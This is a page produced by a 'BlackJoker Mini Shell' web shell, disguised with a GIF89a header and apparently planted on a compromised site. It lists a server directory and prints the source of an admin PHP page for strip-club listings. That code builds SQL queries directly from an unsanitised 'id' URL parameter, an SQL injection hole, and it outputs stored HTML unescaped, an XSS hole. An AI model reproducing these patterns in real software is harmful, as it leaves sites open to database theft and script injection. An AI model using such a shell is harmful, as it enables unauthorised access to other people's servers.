GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/admin/
Upload File :
Current File : /home/serb/public_html/admin/stripclub_details.php

<? 
  include("../lib/globals.php");
  include("../lib/common.php");
  include("../lib/functions.php");
  $id=$_GET["id"];
  $sql="select * from clubs where club_id='$id'";
  $rs=execute_query($sql);
  $row=mysql_fetch_array($rs);
  function format_comment($str)
  {
    if($str=="")
	{
	  return "None";
	}
	else
	{
	  return $str;
	}
  }
  $sql_city="SELECT * FROM citys where id='".$row['club_city']."' ";

  $res_city=execute_query($sql_city);
 $row_city=mysql_fetch_array($res_city);

$sql_state="SELECT * FROM states where id='".$row_city['states_id']."'";
$res_state=execute_query($sql_state);
 $row_state=mysql_fetch_array($res_state);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>:: AdultSearch.com | Admin ::</title>
</head>
<link rel="stylesheet" type="text/css" href="../style.css" />
<body>
<br>
<div id="homebottom3">
<table width="600" border="0" align="center" class="Table">
  <tr>
    <td width="3%">&nbsp;</td>
    <td width="21%">&nbsp;</td>
    <td width="75%">&nbsp;</td>
    <td width="1%">&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td align="left" valign="top" class="gtext"><strong>Ad Title :</strong></td>
    <td align="left" class="gtext">&nbsp;<? print stripslashes($row['club_title']);?></td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td align="left" valign="top" class="gtext"><strong>Location: </strong></td>
    <td align="left" class="gtext">&nbsp;<? print stripslashes($row['club_address']);?></td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td align="left" valign="top" class="gtext"><strong>City/State : </strong></td>
    <td align="left" class="gtext">&nbsp;<? print $row_city['name'].','.$row_state['name'];?></td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td align="left" valign="top" class="gtext"><strong>Website Url : </strong></td>
    <td align="left" class="gtext">&nbsp;<? print stripslashes($row['club_url']);?></td>
    <td>&nbsp;</td>
  </tr> 
  <tr>
    <td>&nbsp;</td>
    <td align="left" valign="top" class="gtext"><strong>Ad Contact : </strong></td>
    <td align="left" class="gtext"><?=$row['club_phone']?></td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td align="left" valign="top" class="gtext"><strong>Club Details : </strong></td>
    <td align="left" class="gtext"><? 

						if($row['user_id']==0)

						{

							$stats=str_replace('<div id="lowerMain" class="width"><div id="hours">','',str_replace('<div class="intro_actions bottom"><div id="yourBiz"><a href="http://www.adultsearch.com/businessowner/?section=sc&id=3556" title="adult search - business owners">Your Business?</a></div><div id="errorReport"><a href="/contact?where=%2Fflorida%2Fdeland%2Fstrip-clubs%2Fpin-ups%2F3556" rel="nofollow">Report An Error</a></div></div></div></div>','',$row['club_stats']));



							$clubdtls=explode('</div>',$stats); 

							$count2=count($clubdtls);

							for($k=0; $k<=($count2-8); $k++)

							{

								echo $clubdtls[$k]."</div>";

							}

						}

						else

						{

							$stats2=str_replace('&gt;','>',str_replace('&lt;','<',$row['club_stats']));						

							echo $stats2;

						}

					?>
</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td colspan="4" align="center" class="gtext">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="4" align="center" class="gtext">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="4" align="center" class="gtext"><a href="javascript:window.close()" class="footer-link">[ Close window ] </a></td>
    </tr>
  <tr>
    <td colspan="4" align="center" class="gtext">&nbsp;</td>
  </tr>
</table>
</div>
</body>
</html>

./BlackJoker Mini Shell 1.0